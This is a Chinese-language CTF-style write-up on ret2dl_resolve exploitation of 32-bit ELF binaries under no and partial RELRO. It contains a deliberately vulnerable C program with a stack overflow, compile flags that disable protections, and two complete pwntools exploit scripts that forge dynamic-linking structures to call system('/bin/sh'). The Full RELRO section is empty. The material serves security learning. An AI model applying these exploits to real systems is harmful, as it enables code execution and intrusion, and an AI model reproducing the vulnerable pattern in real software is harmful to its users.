Relro!
pwn by using dl_resolver
Relro
根据winesap的社课
对于动态链接lazy binding在winesap的社课中已经说得非常清楚
在这里不作过多赘述。
0x00 Relro
#[A_paper_about_how_to_pwn_by_using_dl_resolver][2]
relro 是一种用于加强对 binary 数据段的保护的技术。relro 分为 partial relro 和 full relro.gcc的默认是开partial.论文中涉及了对3种程度保护的理论上的攻击方法.由于时间有限和能力不足,只对no和partial进行实现;如有不正之处请予以指正@@338_5518_6880@qq.com@@
0x01 Binary:
#include<stdio.h>
#include<unistd.h>
#include<string.h>
char buf[1000000];
void m()
{
char local[10];
int len=read(0,buf,sizeof(buf));
memcpy(local,buf,len);
}
int main()
{
m();
}
0x02 编译命令:
gcc raw.c -o part -no-pie -fno-stack-protector -m32
gcc raw.c -o no -no-pie -fno-stack-protector -Wl,-z,norelro -m32
0x03 No
思路:
因为Dynstr是可以写的,我们只需要改写Dynstr表来将某一函数错误解析到system上
所以我们需要
1.改写Dynstr
2.Call plt0
exploit:
from pwn import *
context.log_level='critical'
dynamic=0x080496c0
dynstr_addr=dynamic+0x8*8+0x4
p3r=0x08048519
dynstr=0x804820c
plt0=0x80482d0
memcpy=0x80482f0
bss=0x8049800
data_addr=bss+1024
rop=flat(
memcpy,p3r,dynstr_addr,data_addr,4,
plt0,0x8,
memcpy,0xdeadbeef,data_addr+0xc
)
data=flat(
data_addr+4-(0x804822b-0x804820c),
"system\x00\x00",
"/bin/sh\0"
)
payload=("A"*26+rop).ljust(1024,'\0')+data
p=process("./no")
if False:
gdb.attach(p,'''
b *0x8048483
c
''')
p.sendline(payload)
p.interactive();
0x04 partial
思路:
既然无法更改那几个table
那就伪造一个较大的reloc_arg使得:reloc_arg+rel.plt===>你可以写的位置A
然后在A处构造fake elf32_rel==>{somewhere we can write,info}
然后在B处即(info>>8)*16+dynstr处构造dynsym==>{a,b,c,d}
a+str指向我们可以写的地址我们在那里写入system\0
bcd参照其他的原来func的数值可用gdb查知
exploit:
from pwn import *
memcpy=0x8048310
p3r=0x08048539
p2r=0x0804853a
pr=0x080482ed
ret=0x080482d6
dynmic=0x8049f14
rel_plt=0x80482b4
dynstr=0x804822c
dynsym=0x80481cc
bss=0x804a040
data_addr=0x804a140
plt0=0x80482f0
rop=flat(
plt0,0x1e8c,
0xdeadbeef,data_addr+36#address of bin/sh/
)
data=flat(
[0x804a040,0x7+(((data_addr+0xc-dynsym)/16)<<8)],0xdeadbeef,#rel
[data_addr+28-dynstr,0,0,0x12],#sym
"system\0\0",
"/bin/sh\0"
)
payload=("A"*26+rop).ljust(256,'\0')+data
p=process("./part")
if False:
gdb.attach(p,'''
b *0xf7fead8b
c
''')
p.sendline(payload)
p.interactive()
0x05 Full
思路:
0x06 :
适用于 在无法泄露或者泄露值无法得知的时候 工具利用先mark一下:Mark